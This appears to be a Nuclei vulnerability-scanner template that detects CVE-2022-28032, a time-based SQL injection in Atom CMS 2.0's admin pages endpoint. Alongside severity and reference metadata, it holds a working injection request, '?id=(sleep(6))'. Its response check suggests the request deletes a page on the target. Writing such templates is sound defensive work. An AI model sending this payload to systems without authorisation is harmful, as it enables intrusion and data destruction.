id: CVE-2022-28032

info:
  name: Atom CMS v2.0 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    AtomCMS 2.0 is vulnerable to SQL Injection via Atom.CMS_admin_ajax_pages.php
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: Fixed in version Atom CMS v2.1
  reference:
    - https://github.com/thedigicraft/Atom.CMS/issues/263
    - https://nvd.nist.gov/vuln/detail/CVE-2022-28032
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/bornrootcom/fictional-memory
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-28032
    cwe-id: CWE-89
    epss-score: 0.05922
    epss-percentile: 0.92505
    cpe: cpe:2.3:a:thedigitalcraft:atomcms:2.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: thedigitalcraft
    product: atomcms
  tags: time-based-sqli,cve,cve2022,sqli,atom,cms,thedigitalcraft,vuln

http:
  - raw:
      - |
        @timeout: 20s
        GET /admin/ajax/pages.php?id=(sleep(6)) HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code == 200'
          - 'contains(body, "Page Deleted")'
        condition: and
# digest: 4a0a0047304502210097d117fc716863a23160812ed3b0b0e7aa3105beb96097e78eff0ca6c265937002201e73bdd8fa5c78dd515b5220fc736361cd499b7b67efe60529afbd034df1e970:922c64590222798bb761d5b6d8e72950